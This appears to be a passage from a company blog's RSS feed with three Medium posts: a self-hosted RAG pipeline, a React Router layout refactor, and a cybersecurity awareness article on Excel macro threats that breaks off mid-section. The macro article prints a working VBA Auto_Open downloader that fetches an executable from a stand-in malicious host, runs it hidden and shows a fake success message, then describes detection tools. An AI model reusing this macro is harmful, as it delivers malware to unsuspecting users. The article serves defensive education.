            <content:encoded><![CDATA[<h4>Building a fully local RAG pipeline to keep sensitive data off cloud APIs without sacrificing capability.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7q_4WpYuiMm6KA3zvjJJUw.png" /></figure><h3>The Privacy Dilemma in the Age of AI</h3><p>Today, interacting with AI feels seamless: type a question, receive an insightful answer. But for those of us working with sensitive technical documentation, organizational confidential information, or proprietary research, that convenience carries a hidden cost: <strong>data exposure</strong>.</p><blockquote><em>If I can’t verify where my data goes, how it’s stored, or who might access it, should I share it?</em></blockquote><p>Every prompt sent to a cloud-based LLM introduces risk. Even with strong privacy policies, you’re ultimately trusting a third party with:</p><ul><li>The raw content of your documents</li><li>Your query patterns and areas of intellectual focus</li><li>Metadata that could reveal project timelines, system architectures, or security postures</li></ul><p>As someone who regularly handles confidential materials and unpublished technical writing, I couldn’t accept that trade-off. This isn’t me being paranoid; it’s a documented compliance and security concern grounded in real-world threat models.</p><h3>The Case for Data Sovereignty</h3><h4>Trust Boundaries Matter</h4><p>Retrieval-Augmented Generation (RAG) enhances LLMs by connecting them to external knowledge sources. While RAG is privacy-respecting by design (keeping data separate from model weights), the deployment architecture ultimately determines whether your information stays truly private.</p><p>Cloud AI APIs offer tremendous power, but they operate outside your control perimeter. When you upload a document to a managed RAG service, you implicitly accept that:</p><ul><li>You don’t control data retention or deletion policies</li><li>You can’t audit how embeddings are generated, stored, or potentially reused</li><li>You rely on the provider’s security posture, not your own</li></ul><p>For my work in cybersecurity, that lack of visibility wasn’t just uncomfortable; it was a hard blocker.</p><h4>Compliance, Control, and Offline Access</h4><p>Beyond personal preference, there are practical scenarios where local AI is essential:</p><ul><li><strong>Data residency requirements</strong>: Some projects mandate that data never leaves a specific machine or network</li><li><strong>Air-gapped environments: </strong>Security research often happens on isolated systems</li><li><strong>Long-term reproducibility</strong>: Local models and vectors ensure your RAG pipeline behaves consistently over time</li><li><strong>Cost predictability: </strong>No API calls means no surprise bills or rate limits</li></ul><h4>My Personal Threshold</h4><p>I’m not anti-cloud. I use managed services when they make sense. But for knowledge work involving sensitive or unpublished material, my rule is simple:</p><blockquote><em>“If the data shouldn’t be public, it shouldn’t leave my machine.”</em></blockquote><p>That principle drove every architectural decision in my RAG pipeline.</p><h3>The Solution: A Local-First RAG Architecture</h3><p>Here’s the stack I assembled to keep intelligence local without sacrificing capability:</p><h4>Core Components</h4><pre>| Component | Technology | Purpose |<br>|-----------|------------|---------|<br>| **LLM** | Ollama (Mistral) | Local inference, zero API calls |<br>| **Embeddings** | Ollama (nomic-embed-text) | 768-dimensional vectors, generated locally |<br>| **Vector Store** | PostgreSQL + PGVector | Persistent, queryable document storage |<br>| **Document Processing** | Docling | PDF, Word, PowerPoint, Excel, HTML conversion |<br>| **Interfaces** | FastAPI Web UI + CLI | Flexible access methods |<br>| **Agent Framework** | PydanticAI | Structured RAG orchestration |</pre><h4><strong>Architecture Overview</strong></h4><pre><br>┌─────────────────────────────────────────────────────────┐<br>│                      USER INTERFACES                    │<br>│  ┌─────────────────────┐           ┌─────────────────┐  │<br>│  │   Web Interface     │           │   CLI Interface │  │<br>│  │   (FastAPI + HTML)  │           │  (Python async) │  │<br>│  └──────────┬──────────┘           └────────┬────────┘  │<br>└─────────────┼───────────────────────────────┼────────────┘<br>              │                               │<br>              └─────────────┬─────────────────┘<br>                            │<br>              ┌─────────────▼───────────────────┐<br>              │       RAG Agent Core            │<br>              │  ┌───────────────────────────┐  │<br>              │  │ PydanticAI Agent          │  │<br>              │  │ + search_knowledge_base() │  │<br>              │  └───────────────────────────┘  │<br>              └─────────────┬───────────────────┘<br>                            │<br>         ┌──────────────────┼──────────────────┐<br>         │                  │                  │<br>┌────────▼────────┐  ┌──────▼───────┐  ┌──────▼───────┐<br>│  Embeddings     │  │    LLM       │  │  PostgreSQL  │<br>│  (Ollama)       │  │  (Ollama)    │  │  + PGVector  │<br>│  [Local]        │  │  [Local]     │  │  [Local]     │<br>└─────────────────┘  └──────────────┘  └──────────────┘</pre><h4><strong>Key Design Decisions</strong></h4><ol><li><strong>Ollama over OpenAI API<br></strong>Running Mistral locally via Ollama means no API keys, no usage tracking, and no data leaving my machine. The trade-off is slightly slower inference, but for my use case, privacy wins.</li><li><strong>PGVector for Vector Storage<br></strong>PostgreSQL with the PGVector extension provides a battle-tested database with built-in vector similarity search. I control retention, backups, and access policies.</li><li><strong>Document Processing with Docling<br></strong>Docling handles the messy work of converting PDFs, Office documents, and HTML into clean markdown — entirely offline.</li><li><strong>Dual Interfaces</strong></li></ol><ul><li><strong>CLI</strong> for quick terminal queries and SSH access</li><li><strong>Web UI</strong> for file uploads, visual browsing, and web crawling</li></ul><h4><strong>What This Enables</strong></h4><p>✅ Query my internal documentation without leaving my network<br>✅ Process sensitive security reports with full auditability<br>✅ Transcribe audio recordings (via local Whisper) and search them<br>✅ Crawl documentation sites and keep everything local<br>✅ Maintain conversation context across sessions<br>✅ Get source citations for every response</p><p><strong>Zero egress. Zero rate limits. Zero third-party visibility.</strong></p><h3><strong>Is Local RAG Right for You?</strong></h3><p>Before diving into implementation, here’s a quick self-assessment:</p><ol><li><strong>Local RAG is a good fit if:</strong></li></ol><ul><li>You handle sensitive, confidential, or unpublished data</li><li>You have compliance or data residency requirements</li><li>You want full control over your AI stack</li><li>You’re comfortable managing your own infrastructure</li></ul><p>2. <strong>Cloud APIs may suffice if:</strong></p><ul><li>You’re prototyping or learning</li><li>Your data is already public</li><li>You prioritize convenience over control</li><li>You need state-of-the-art model capabilities</li></ul><p>For my work in cybersecurity, local RAG wasn’t just preferable. It was necessary.</p><h3><strong>Implementation Highlights</strong></h3><p>Here’s a look at the core implementation details that make local RAG possible:</p><h4><strong>Database Schema</strong></h4><p>The PGVector schema stores documents and their embeddings:</p><pre>-- Chunks table with 768-dimensional embeddings<br>CREATE TABLE chunks (<br>    id UUID PRIMARY KEY,<br>    document_id UUID REFERENCES documents(id),<br>    content TEXT,<br>    embedding vector(768),<br>    chunk_index INTEGER<br>);<br><br>-- Vector similarity search function<br>CREATE FUNCTION match_chunks(<br>    query_embedding vector(768),<br>    match_count INTEGER DEFAULT 5<br>) RETURNS TABLE(...)</pre><h4><strong>Environment Configuration</strong></h4><pre># Point OpenAI-compatible clients to Ollama<br>OPENAI_API_KEY=ollama<br>OPENAI_BASE_URL=http://localhost:11434/v1<br><br># Local models<br>LLM_CHOICE=mistral<br>EMBEDDING_MODEL=nomic-embed-text<br><br># Local PostgreSQL<br>DATABASE_URL=postgresql://user:password@localhost:5432/rag_db</pre><h4><strong>Performance Optimizations</strong></h4><ul><li><strong>Database connection pooling</strong> (min_size=2, max_size=10)</li><li><strong>Embedding cache</strong> for frequently searched queries</li><li><strong>Token-by-token streaming</strong> for immediate feedback</li></ul><h3><strong>Example Workflow</strong></h3><p>Here’s what querying the RAG agent looks like in practice:</p><pre>$ uv run python cli.py<br><br>&gt; &quot;What are the authentication requirements for the client portal?&quot;<br><br>Searching knowledge base... [3 matches found]<br><br>Based on the security assessment documentation, the client portal requires:<br><br>1. Multi-factor authentication (MFA) for all user accounts<br>2. Session timeout after 15 minutes of inactivity<br>3. Password complexity: minimum 14 characters with special characters<br><br>Sources:<br>- security-assessment-2025.pdf (page 12)<br>- client-portal-requirements.md (section 3.2)</pre><p>All of this happens locally — no data leaves the machine.</p><h3><strong>Trade-Offs and Limitations</strong></h3><p>Building a local RAG pipeline isn’t without compromises. There are several trade-offs to consider:</p><ul><li><strong>Hardware requirements: </strong>Need sufficient RAM and CPU (GPU recommended for larger models)</li><li><strong>Model capability: </strong>Local models may not match GPT-4 level reasoning</li><li><strong>Setup complexity:</strong> More initial configuration than API-based solutions</li><li><strong>Maintenance: </strong>You’re responsible for updates, backups, and monitoring</li></ul><p>For my threat model and use case, these trade-offs are acceptable. Your mileage may vary.</p><h3><strong>Getting Started</strong></h3><p>If you want to replicate this setup, the project is available on GitHub:</p><ul><li><strong>Repository</strong>: <a href="https://github.com/n4igme/randscript/tree/main/rag-agent">rag-agent</a></li><li><strong>Documentation</strong>: <a href="https://n4igme.github.io/randscript/rag-agent/">https://n4igme.github.io/randscript/rag-agent/</a></li></ul><p><strong>Key prerequisites</strong>:</p><ul><li>Python 3.10+</li><li>PostgreSQL with <a href="https://github.com/pgvector/pgvector">PGVector</a> extension</li><li><a href="https://ollama.com/">Ollama</a> installed locally</li><li>System libraries for audio processing (`libopus`, `opusfile`)</li></ul><p><strong>Helpful resources:</strong></p><ul><li><a href="https://github.com/DS4SD/docling">Docling</a> — Document processing pipeline</li><li><a href="https://ai.pydantic.dev/">PydanticAI</a> — Agent framework</li></ul><h3><strong>Final Thoughts</strong></h3><p>Building a local RAG pipeline taught me that privacy-preserving AI is entirely achievable today. The tools exist — <a href="https://ollama.com/">Ollama</a>, <a href="https://github.com/pgvector/pgvector">PGVector</a>, <a href="https://github.com/DS4SD/docling">Docling</a>, <a href="https://ai.pydantic.dev/">PydanticAI</a>—and they’re mature enough for production use.</p><p>The question isn’t whether local AI is capable. It’s whether you’re willing to invest the effort to keep your data under your control.</p><p>For me, that answer was clear: If the data shouldn’t be public, it shouldn’t leave my machine.</p><p><em>Never miss updates on what DKatalis amazing tech team works on! Follow us.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=085a1e1f5d7a" width="1" height="1" alt=""><hr><p><a href="https://medium.com/dkatalis/privacy-preserving-ai-my-journey-to-a-self-hosted-rag-pipeline-085a1e1f5d7a">Privacy-Preserving AI: My Journey to a Self-Hosted RAG Pipeline</a> was originally published in <a href="https://medium.com/dkatalis">DKatalis</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The 3-Year Routing Mistake That Festered Under the Rug]]></title>
            <link>https://medium.com/dkatalis/the-3-year-routing-mistake-that-festered-under-the-rug-a5a8bfc07ada?source=rss----a639e354dffe---4</link>
            <guid isPermaLink="false">https://medium.com/p/a5a8bfc07ada</guid>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[software-engineering]]></category>
            <dc:creator><![CDATA[Fadil Nugraha Adithama]]></dc:creator>
            <pubDate>Thu, 11 Dec 2025 03:02:20 GMT</pubDate>
            <atom:updated>2025-12-11T03:02:20.160Z</atom:updated>
            <content:encoded><![CDATA[<h4>The journey from 35-prop chaos to 4-layout clarity, and why the best solution was right there all along.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GhmtLpyPIF0KaYIg859BaA.png" /></figure><blockquote>Bad code doesn’t just sit there quietly — it actively fights you every step of the way, turning simple changes into archaeological expeditions where you’re left asking, “Why does it look like this?”</blockquote><p>React Router had me trapped in routing purgatory for three years, watching my layouts become a monstrous, Venom-like symbiote with props drilled through components like some twisted symbiote hive mind. Every route felt like another layer of hell I’d created for myself. Then I found the pattern that made it all effortless — and honestly, I’m still processing how long I suffered while the solution was basically right in front of my face the whole time.</p><p>In this article, I want to share how the People Xperience Development Team of DKatalis managed to escape from that nightmare, pursuing a better development process✨</p><h3>The Moment We Knew We Were Doomed</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*X_nBUMKfTIYiIWP-lTf4wg.png" /></figure><p>We knew we had a problem when the mere suggestion of a new route during sprint planning caused a collective groan. We knew what was coming: agonizing prop drilling, fragile conditional checks, and inevitable layout breaks. It was like asking one hero to have all the powers — Iron Man’s tech, Doctor Strange’s magic, Spider-Man’s agility — and somehow make it work. We all know how that would turn out.</p><p>For the past three years, we were relying on a single “God Layout” to handle every conceivable UI configuration. The result wasn’t pretty; it was a monstrosity.</p><p>This was the props we had, and trust me, it’s as bad as you think:</p><pre>interface PXRouteProps {<br>  profile?: string;<br>  featureVersion?: string;<br>  isHiddenFeature?: boolean;<br>  path?: string;<br>  name: string;<br>  icon?: ReactNode;<br>  component?: ReactNode;<br>  actionComponent?: ReactNode;<br>  titleComponent?: ReactNode;<br>  secondarySection?: ReactNode;<br>  thirdSection?: ReactNode;<br>  layout?: string;<br>  state?: string;<br>  category?: string;<br>  views?: PXRoute[];<br>  secondaryNavbar?: boolean;<br>  module?: string;<br>  permission?: string;<br>  entityBased?: boolean;<br>  tags?: string[];<br>  isPageOnly?: boolean;<br>  showBackButton?: boolean;<br>  backURL?: string;<br>  exitConfirmation?: boolean;<br>  moduleName?: string;<br>  useBreadcrumbs?: boolean;<br>  useScreenHeight?: boolean;<br>  layoutMaxWidth?: ResponsiveValue&lt;<br>    number | string | &#39;sm&#39; | &#39;base&#39; | &#39;md&#39; | &#39;lg&#39; | &#39;xl&#39; | &#39;2xl&#39;<br>  &gt;;<br>  headerPadding?: PXInsets;<br>  bodyPadding?: PXInsets;<br>  profilePredicate?: (userProfile?: UserProfile) =&gt; boolean;<br>  isCompanyLocked?: boolean;<br>  onAddMode?: boolean;<br>  useTreeview?: boolean;<br>  treeviewEntryPoint?: boolean;<br>  treeviewName?: string;<br>  treeviewMainComponent?: ReactNode;<br>  treeviewHeaderComponent?: ReactNode;<br>}</pre><p>Yep, you read that right: a 35+ props for the route. But that interface was just the unassuming host body. The real horror was the single layout component underneath: a 400+ line symbiote that had mutated from a simple container into a Venom-esque monstrosity. It checked every prop, rendered every conditional, and handled every edge case. Trying to add a new route meant deciphering those 35 props and praying you didn’t anger the beast by creating another “special case.”</p><h3>The Escape Route from Routing Purgatory</h3><p>After three years of suffering, we finally found it: the pattern that made layouts effortless. The solution wasn’t about adding more props or creating more “special cases.” It was about doing the opposite: simplifying, standardizing, and letting React Router do what it does best.</p><p>The key? Separating concerns. Instead of one layout trying to handle everything, we created a system where each route could define its own layout needs without turning our component into a configuration nightmare.</p><p>Here’s what our routing structure looks like now:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xU7AguQ-ClW6E8FQA-u9lw.png" /></figure><p>This simple shift changed everything. No more 35+ props, conditional rendering hell, or “special cases.” Just clean, predictable, maintainable code.</p><h3>How We Burned It Down and Rebuilt from the Ashes</h3><p>So we had this 35+ prop monster, and we knew we had to kill it. But how do you kill a monster that’s been growing for three years? You don’t patch it. You don’t add more props. You burn it down and rebuild from scratch.</p><p>Here’s how we did it — step by step, like Tony Stark rebuilt his suit after every battle to make it better.</p><h4><strong>Step 1: Define the Layout Types and the rules</strong></h4><p>First, we identified what we actually needed. Instead of 35+ props for switching a single layout, we defined clear layout types:</p><ol><li><strong>Authentication</strong>: the first step before entering the real features. This defines every authentication need. This needs to be separated to perform concern separation and focus on handling each.</li><li><strong>Core</strong>: the real stars. This layout configs the true face of our web page. This is basically the general configurations for most every feature with consistent spacing.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Conk20DvpxnksOFYpHEbvg.png" /></figure><p><strong>3. No content padding</strong>: supposed to be like the Core layout, but without padding. This gives other developers free will to have their content with maximum space</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Wahr6K1JV-lT2nbX8jzsA.png" /></figure><p><strong>4. Blank</strong>: just blank. That’s it. I mean, literally, it’s just a blank layout without an app bar, no sidebar. Nothing. Perfect for utility or errors. Also, developers can configure the entire space and configure their own interactions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZD5jK5l7j5TJMKksGkhWQg.png" /></figure><h4><strong>Step 2: The Route Tree</strong></h4><p>Once we identified the layout types, we designed the route tree structure. This is what beautiful routing looks like: clean, predictable, maintainable. This structure also establishes hard technical boundaries that prevent undetected routes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xZJKNOR1EQ_pZjyoaVxzaA.png" /></figure><blockquote>Do not cross the 2nd generation after the main layout; or else your routes will go undetected, forcing you to add more configurations and undoing everything we built.</blockquote><p>The actual implementations will look like this:</p><pre>pxRouter<br>└── path: &quot;/&quot;<br>    └── element: &lt;Fonts/&gt; + &lt;Providers&gt; + &lt;Outlet/&gt;<br>        └── children: appLayouts[]<br>            ├── root<br>            │   ├── name: &quot;root&quot;<br>            │   └── path: &quot;/&quot;<br>            ├── authLayout<br>            │   ├── name: &quot;Authentication&quot;<br>            │   ├── element: &lt;Outlet/&gt;<br>            │   └── children: [auth pages...]<br>            ├── coreLayout<br>            │   ├── name: &quot;Core&quot;<br>            │   ├── element: &lt;PXSuspense&gt; + &lt;PXFeatureWrapper usePadding/&gt;<br>            │   └── children: [px features...]<br>            ├── noContentPaddingLayout<br>            │   ├── name: &quot;No Content Padding&quot;<br>            │   ├── element: &lt;PXSuspense&gt; + &lt;PXFeatureWrapper/&gt;<br>            │   └── children: [px features...]<br>            └── blankLayout<br>                ├── name: &quot;Blank&quot;<br>                ├── element: &lt;PXSuspense&gt; + &lt;Outlet/&gt;<br>                └── children: [error/utility modules...]</pre><h4><strong>Step 3: Making the main layouts</strong></h4><p>This is where the boring stuff happens. We basically configure the base where we can do everything with minimum requirements. Based on the structure, the code will look like this:</p><pre>const authPages: PXRouteObject[] = [ ... ];<br>export const authLayout: PXRouteObject = {<br>  name: &#39;Authentication&#39;,<br>  element: &lt;Outlet /&gt;,<br>  children: authPages,<br>};<br><br>export const blankLayout: PXRouteObject = {<br>  name: &#39;Blank&#39;,<br>  element: (<br>    &lt;PXSuspense&gt;<br>      &lt;Outlet /&gt;<br>    &lt;/PXSuspense&gt;<br>  ),<br>  children: [notFoundPage],<br>};<br><br>const corePages: PXRouteObject[] = [ ... ];<br>export const coreLayout: PXRouteObject = {<br>  name: &#39;Core&#39;,<br>  element: (<br>    &lt;PXSuspense&gt;<br>      &lt;Guard&gt;<br>        &lt;PXFeatureWrapper usePadding /&gt;<br>      &lt;/Guard&gt;<br>    &lt;/PXSuspense&gt;<br>  ),<br>  children: corePages,<br>};<br><br>const noContentPaddingPages: PXRouteObject[] = [ ... ];<br>export const noContentPaddingLayout: PXRouteObject = {<br>  name: &#39;No Content Padding&#39;,<br>  element: (<br>    &lt;PXSuspense&gt;<br>      &lt;Guard&gt;<br>        &lt;PXFeatureWrapper /&gt;<br>      &lt;/Guard&gt;<br>    &lt;/PXSuspense&gt;<br>  ),<br>  children: noContentPaddingPages,<br>};</pre><p>Straightforward, minimum configurations, and easy to use. Perfect✨</p><h4><strong>Step 4: Making the New Concept with New Props</strong></h4><p>With the route tree structure in mind, we created a new route configuration that was clean and simple:</p><pre>type PXRouteObject = RouteObject &amp; {<br>  icon?: ReactNode;<br>  children?: PXRouteObject[];<br>  name: string;<br>  showInSidebar?: boolean;<br>  featureVersion?: string;<br>  permission?: string;<br>}</pre><p>Instead of handling infinite possibilities in a single props, we just have to contain what we need to maintain on the route side. And let the layout configure what they need.</p><p>For instance, configurations for breadcrumbs or the extra sidebar can be configured independently — no need for them to come from the routes</p><h4><strong>Step 5: Implementation</strong></h4><p>Finally, we implemented the new system:</p><ol><li><strong>Make a new router</strong></li></ol><p>The example I would give is <strong>Custom Dashboard Routes</strong>. Here, the parent looks like:</p><pre>const customDashboardRoutes: PXRouteObject[] = [<br>  categoryListModuleRouter,<br>  ...categoryModuleRouters,<br>];<br><br>export const customDashboardModuleRouter: PXRouteObject = {<br>  name: &#39;Custom Dashboard&#39;,<br>  permission: PERMISSION_MODULE,<br>  children: customDashboardRoutes,<br>  icon: &lt;LinkManagementIcon boxSize={&#39;20px&#39;} color=&quot;color.icon.rest&quot; /&gt;,<br>  showInSidebar: true,<br>};</pre><p>Then, on the other file, we have the list module:</p><pre>export const categoryListModuleRouter: PXRouteObject = {<br>  name: &#39;Category&#39;,<br>  path: linkManagementRoutes.list,<br>  permission: LIST_PERMISSION,<br>  showInSidebar: true,<br>  entityBased: true,<br>  element: (<br>    &lt;PXSuspense&gt;<br>      &lt;PXBase<br>        title={&#39;Category&#39;}<br>        breadcrumbName={&#39;Custom Dashboard&#39;}<br>        actionButton={&lt;AddCategoryButton /&gt;}<br>      &gt;<br>        &lt;CategoryListPage /&gt;<br>      &lt;/PXBase&gt;<br>    &lt;/PXSuspense&gt;<br>  ),<br>};</pre><p>Simple enough to make a new route, right? What if we have breadcrumbs configurations? Well, take a look at this one:</p><pre>const RenderAddEditCategoryPage = memo(({ isEdit }: { isEdit: boolean }) =&gt; {<br>  const { setBreadcrumbs } = useBreadcrumbViewModel();<br><br>  useEffect(() =&gt; {<br>    setBreadcrumbs([<br>      { label: &#39;Link&#39;, target: linkManagementRoutes.builder.link.link() },<br>    ]);<br><br>    return () =&gt; setBreadcrumbs([]);<br>  }, []);<br><br>  return (<br>    &lt;PXSuspense&gt;<br>      &lt;PXBase<br>        title={isEdit ? &#39;Edit Category&#39; : &#39;Add Category&#39;}<br>        breadcrumbName={&#39;Custom Dashboard&#39;}<br>        titleComponent={&lt;LinkCategoryPageTitle isEdit={isEdit} /&gt;}<br>      &gt;<br>        &lt;AddEditLinkCategoryPage /&gt;<br>      &lt;/PXBase&gt;<br>    &lt;/PXSuspense&gt;<br>  );<br>});<br><br>const addCategoryModuleRouter: PXRouteObject = {<br>  name: &#39;Add Category&#39;,<br>  path: linkManagementRoutes.add,<br>  permission: CREATE_PERMISSION,<br>  entityBased: true,<br>  element: &lt;RenderAddEditCategoryPage isEdit={false} /&gt;,<br>};<br><br>const editCategoryModuleRouter: PXRouteObject = {<br>  name: &#39;Edit Category&#39;,<br>  path: linkManagementRoutes.edit,<br>  permission: EDIT_PERMISSION,<br>  entityBased: true,<br>  element: (<br>    &lt;PXSuspense&gt;<br>      &lt;PXBase<br>        title={&#39;Edit Category&#39;}<br>        breadcrumbName={&#39;Custom Dashboard&#39;}<br>        titleComponent={&lt;LinkCategoryPageTitle isEdit /&gt;}<br>      &gt;<br>        &lt;RenderAddEditCategoryPage isEdit={true} /&gt;<br>      &lt;/PXBase&gt;<br>    &lt;/PXSuspense&gt;<br>  ),<br>};<br><br>export const categoryModuleRouters = [<br>  addCategoryModuleRouter,<br>  editCategoryModuleRouter,<br>];</pre><p>Easy to read, right? That’s the real code right there!</p><p><strong>2. Register the routers</strong></p><p>After those configurations, simply put the parent in the layout you need. For example, the <strong>Custom Dashboard</strong> belongs to <strong>Core</strong>. So, just put it like this:</p><pre><br>const corePages: PXRouteObject[] = [<br>  customDashboardModuleRouter,<br>];<br>export const coreLayout: PXRouteObject = {<br>  name: &#39;Core&#39;,<br>  element: (<br>    &lt;PXSuspense&gt;<br>      &lt;Guard&gt;<br>        &lt;PXFeatureWrapper usePadding /&gt;<br>      &lt;/Guard&gt;<br>    &lt;/PXSuspense&gt;<br>  ),<br>  children: corePages,<br>};</pre><p>And that’s all. The routes are well configured🎉</p><h3>From Nightmare to Dream: Conclusion</h3><p>The nightmare is over. The dream is real. And it only took us three years to figure it out.</p><blockquote><em>“Make it work, make it right, make it fast.”</em></blockquote><blockquote>- Kent Beck</blockquote><p>Today: Four layout types, one prop per route, zero fear. We didn’t just fix our routing — we made it beautiful. Self-documenting. Effortless. The kind of code that makes you smile instead of cry.</p><p>If you want to know more about PX, let’s connect on my <a href="https://id.linkedin.com/in/adithamafadil"><strong>LinkedIn</strong></a> or visit the <a href="https://www.px-apps.com/"><strong>PX official website</strong></a><strong> </strong>🚀</p><p><em>If reading about deconstructing a “God Component” got you excited rather than terrified, you’re exactly the type of senior engineer we’re looking for. </em><a href="http://dkatalis.com/jobs"><strong>Come help us build robust, maintainable code</strong></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a5a8bfc07ada" width="1" height="1" alt=""><hr><p><a href="https://medium.com/dkatalis/the-3-year-routing-mistake-that-festered-under-the-rug-a5a8bfc07ada">The 3-Year Routing Mistake That Festered Under the Rug</a> was originally published in <a href="https://medium.com/dkatalis">DKatalis</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Hidden Dangers of Excel Macros]]></title>
            <link>https://medium.com/dkatalis/the-hidden-dangers-of-excel-macros-8623fc74e843?source=rss----a639e354dffe---4</link>
            <guid isPermaLink="false">https://medium.com/p/8623fc74e843</guid>
            <category><![CDATA[microsoft]]></category>
            <category><![CDATA[vba-macros]]></category>
            <category><![CDATA[excel]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[M. Habib]]></dc:creator>
            <pubDate>Mon, 07 Jul 2025 08:02:57 GMT</pubDate>
            <atom:updated>2025-07-07T08:02:57.245Z</atom:updated>
            <content:encoded><![CDATA[<h4>Understand what you’re putting into your Excel and be safe!</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a_DLpYDZwYGQiXBfnHLqjA.jpeg" /></figure><p>Microsoft Excel is like a Swiss Army knife.</p><p>It’s powerful, flexible, and used almost everywhere, from financial reports to project tracking. It helps us save time with smart features like <strong>Excel Macros</strong>, also known as <strong>VBA (Visual Basic for Applications)</strong>.</p><p>However, while macros automate repetitive tasks, they can also open the door to serious cybersecurity threats, especially when used carelessly or maliciously.</p><h3>Why Can Excel Macros Be Dangerous?</h3><h4>1. They Can Hide Malware</h4><p>Cybercriminals love macros because they can embed <strong>malicious code</strong> inside Excel files. Imagine unconsciously adding codes that can:</p><ul><li>Download <strong>ransomware or trojans</strong> onto your system.</li><li>Silently <strong>steal sensitive data</strong> and send it elsewhere.</li><li>Allow remote attackers to take over your device.</li></ul><p>It might look like a normal spreadsheet, but under the hood, it could be doing far more than you think.</p><h4>2. They Rely on Trust and Tricking You</h4><p>Most macro-based attacks depend on <strong>social engineering. </strong>In other words, tricking you into enabling macros.</p><p>For example:</p><blockquote><em>“To view this invoice, please enable macros.”</em></blockquote><p>Sounds innocent, right? But clicking that button could silently unleash malware in the background.</p><p>Attackers often disguise these files as invoices, resumes, or reports to lure you in.</p><h4>3. Many People Don’t Know the Risks</h4><p>Let’s be honest, how often do we think twice before enabling a macro if the file looks legitimate?</p><p>That lack of awareness is exactly what attackers rely on.</p><h3>Real-World Examples of Macro Attacks</h3><ul><li><a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-280a"><strong>Emotet Malware</strong></a><strong><br></strong>Spread via malicious Excel macros, stealing credentials and banking data.</li><li><a href="https://www.sangfor.com/blog/cybersecurity/qakbot-malware-everything-you-need-know"><strong>Qbot (QakBot)</strong></a><strong><br></strong>Uses macros to infect systems and spread across networks.</li><li><a href="https://www.trendmicro.com/vinfo/id/security/news/cybercrime-and-digital-threats/new-crypto-ransomware-locky-uses-word-macros"><strong>Locky Ransomware</strong></a><strong><br></strong>Delivered via macro-enabled documents, encrypting files for ransom.</li></ul><h3>Example of Malicious VBA Code in Excel Macros</h3><p>Here’s a common example of how attackers use VBA macros for malicious purposes:</p><h4>Malware Download &amp; Execution</h4><pre>Sub Auto_Open()  <br>    Dim maliciousURL As String  <br>    Dim savePath As String  <br>    Dim shellCommand As String  <br><br>    &#39; URL to download malware (e.g., ransomware, spyware)  <br>    maliciousURL = &quot;http://malicious-site.com/virus.exe&quot;  <br>    <br>    &#39; Path to save the downloaded file (e.g., Temp folder)  <br>    savePath = Environ(&quot;TEMP&quot;) &amp; &quot;\update.exe&quot;  <br><br>    &#39; Download the malware  <br>    Dim WinHttpReq As Object  <br>    Set WinHttpReq = CreateObject(&quot;WinHttp.WinHttpRequest.5.1&quot;)  <br>    WinHttpReq.Open &quot;GET&quot;, maliciousURL, False  <br>    WinHttpReq.Send  <br><br>    &#39; Save the downloaded file  <br>    Dim oStream As Object  <br>    Set oStream = CreateObject(&quot;ADODB.Stream&quot;)  <br>    oStream.Open  <br>    oStream.Type = 1  <br>    oStream.Write WinHttpReq.ResponseBody  <br>    oStream.SaveToFile savePath, 2  <br>    oStream.Close  <br><br>    &#39; Execute the malware silently  <br>    shellCommand = savePath  <br>    Shell shellCommand, vbHide  <br><br>    &#39; Show a fake message to avoid suspicion  <br>    MsgBox &quot;Document formatting updated successfully!&quot;, vbInformation  <br>End Sub  </pre><p>What this script does:</p><ol><li><strong>Auto-executes</strong> <br>Runs automatically when the Excel file is opened (if macros are enabled).</li><li><strong>Downloads malware<br></strong>Retrieves a malicious .exe file from a remote server.</li><li><strong>Saves &amp; runs the malware<br></strong>Stores the file in the Temp folder and executes it silently.</li><li><strong>Displays a fake message<br></strong>Tricks the user into thinking the macro performed a legitimate action.</li></ol><h3>How to Detect It?</h3><p>There are several effective ways to detect malicious activity in macro-enabled Office files:</p><ol><li><strong>Use OLETools</strong><br><a href="https://github.com/decalage2/oletools">OLETools</a> is a powerful Python package for extracting and analyzing VBA macros from Office files. It helps identify suspicious code like automatic execution (Auto_Open), file downloads, and shell commands.</li><li><strong>Try Oleid<br></strong><a href="https://github.com/decalage2/oletools/blob/master/oletools/oleid.py">Oleid</a> is a lightweight pre-analysis tool that quickly identifies potential indicators of risk in OLE files, such as the presence of macros, packers, and unusual streams.</li><li><strong>Use ViperMonkey <br></strong><a href="https://github.com/decalage2/ViperMonkey">ViperMonkey</a> is a VBA emulation engine that analyzes and simulates the execution of obfuscated or complex macros. It’s especially useful for understanding what a macro will do, without actually running it inside Excel.</li></ol><p>Below is an example of how to analyze the malicious macro shown earlier using the OLETools.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JF6Z6U0b8GFICKDgYqL6nA.png" /></figure><p><strong>Note</strong>: while these tools are highly effective at identifying suspicious macro activity, they are not a silver bullet. Further manual analysis and context are often required to confidently determine whether a file is safe or malicious.</p><h3>How You Can Protect Yourself (and Others)</h3><h4>1. Keep Macros Disabled by Default</h4><p>Unless absolutely necessary:</p><ul><li>Go to: <strong>File → Options → Trust 